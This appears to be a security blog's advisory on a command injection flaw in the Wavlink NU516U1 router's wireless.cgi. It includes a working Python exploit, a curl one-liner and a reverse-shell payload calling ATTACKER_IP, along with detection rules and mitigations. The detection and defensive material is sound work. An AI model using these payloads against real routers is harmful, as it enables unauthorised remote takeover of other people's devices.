CVE-2025-10962

Executive Summary

CVE-2025-10962 is a critical command injection vulnerability in the Wavlink NU516U1 router, specifically in firmware version M16U1_V240425. The flaw resides in the sub_403198 function within /cgi-bin/wireless.cgi, where the mac_5g argument is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. With a CVSS score of 6.3 (Medium), the exploit is publicly available, and the vendor has not responded to disclosure attempts. This vulnerability poses a significant risk to network integrity, as it can be exploited to gain full control over the affected device.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware device (Wavlink NU516U1 router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Exploit does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification capability.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the Wavlink NU516U1 router's web interface. The SetName page, handled by /cgi-bin/wireless.cgi, processes the mac_5g parameter without proper sanitization. The sub_403198 function likely constructs a system command (e.g., iwconfig or similar) using the user-supplied mac_5g value. By injecting shell metacharacters (e.g., ;, |, $()), an attacker can execute arbitrary commands on the underlying Linux operating system.

Root Cause: Lack of input validation and failure to escape shell metacharacters in the mac_5g parameter.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to /cgi-bin/wireless.cgi with a malicious mac_5g value.
2. The CGI script passes the value to sub_403198, which concatenates it into a shell command.
3. The injected command executes with root privileges (typical for router CGI processes).
4. Attacker gains remote code execution, enabling full device compromise.

Example Payload:

mac_5g=00:11:22:33:44:55;id

This would execute the id command after the intended operation.

Vulnerable vs. Patched Code

Vulnerable Code (M16U1_V240425):

// Pseudocode for sub_403198
void sub_403198(char *mac_5g) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 set mac %s", mac_5g);
    system(cmd);
}

The mac_5g value is directly inserted into the command string without sanitization.

Patched Code (Hypothetical):

void sub_403198(char *mac_5g) {
    char cmd[256];
    // Validate MAC address format
    if (!is_valid_mac(mac_5g)) {
        return;
    }
    // Escape shell metacharacters
    char *escaped = escape_shell(mac_5g);
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 set mac %s", escaped);
    system(cmd);
    free(escaped);
}

A proper patch would validate the MAC address format and escape shell metacharacters, or use safer APIs like execve with arguments.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Wavlink NU516U1 router with firmware M16U1_V240425.
• Network access to the router's web interface (typically on port 80 or 443).
• Python3 or curl installed.

Exploit Script (Python):

import requests

target = "http://192.168.1.1/cgi-bin/wireless.cgi"
payload = "00:11:22:33:44:55;id"
data = {"mac_5g": payload}

response = requests.post(target, data=data)
print(response.text)

Manual Exploit with curl:

curl -X POST http://192.168.1.1/cgi-bin/wireless.cgi -d "mac_5g=00:11:22:33:44:55;id"

Reverse Shell Payload:

mac_5g=00:11:22:33:44:55;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Lab Setup:

1. Set up a Wavlink NU516U1 router in an isolated lab network.
2. Configure a Kali Linux attacker machine on the same subnet.
3. Run the exploit script to verify command execution.
4. Use netcat to catch the reverse shell: nc -lvnp 4444.

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/wireless.cgi with suspicious mac_5g parameters containing shell metacharacters (;, |, $, `).
• Look for outbound connections from the router to unusual IPs (reverse shell attempts).
• Check for unexpected processes spawned by the CGI script (e.g., bash, sh, id).

Hunting:

• Search logs for mac_5g values containing non-MAC characters (e.g., letters beyond A-F, spaces, symbols).
• Correlate with network scans for Wavlink devices on port 80/443.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/wireless.cgi with mac_5g containing shell metacharacters.
  • Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
• File System:
  • Unusual files in /tmp/ or /var/ created by injected commands.
  • Modified /etc/passwd or /etc/shadow (if attacker adds users).
• Processes:
  • bash, sh, python, or perl processes spawned by httpd or cgi processes.
• Logs:
  • Entries in /var/log/messages or syslog showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_10962_Wavlink_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-10962 in Wavlink NU516U1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10962"
    strings:
        $mac_param = "mac_5g=" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "$(" ascii
        $shell_meta4 = "`" ascii
    condition:
        $mac_param and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-10962 Wavlink Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with suspicious mac_5g parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/cgi-bin/wireless.cgi'
        cs-uri-query|contains: 'mac_5g='
    filter:
        cs-uri-query|re: 'mac_5g=[0-9A-Fa-f:]{17}$'
    condition: selection and not filter
falsepositives:
    - Legitimate MAC address updates (unlikely to contain shell metacharacters)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10962 Wavlink Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/wireless.cgi";
    http_uri;
    content:"mac_5g=";
    http_client_body;
    pcre:"/mac_5g=[^&]*[;|$`]/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-10962;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web interface from the WAN side.
2. Network Segmentation: Place the router in a separate VLAN with strict firewall rules.
3. Monitor Logs: Enable logging and monitor for exploitation attempts.
4. Firmware Update: Check Wavlink's website for any future patches. If none, consider replacing the device.

Long-Term Fix:

• Vendor must release a patched firmware that sanitizes the mac_5g parameter.
• Implement input validation (MAC address format) and use safe system call APIs.

Workaround:

• Use a reverse proxy or WAF (e.g., ModSecurity) to block requests containing shell metacharacters in the mac_5g parameter.

Valters IT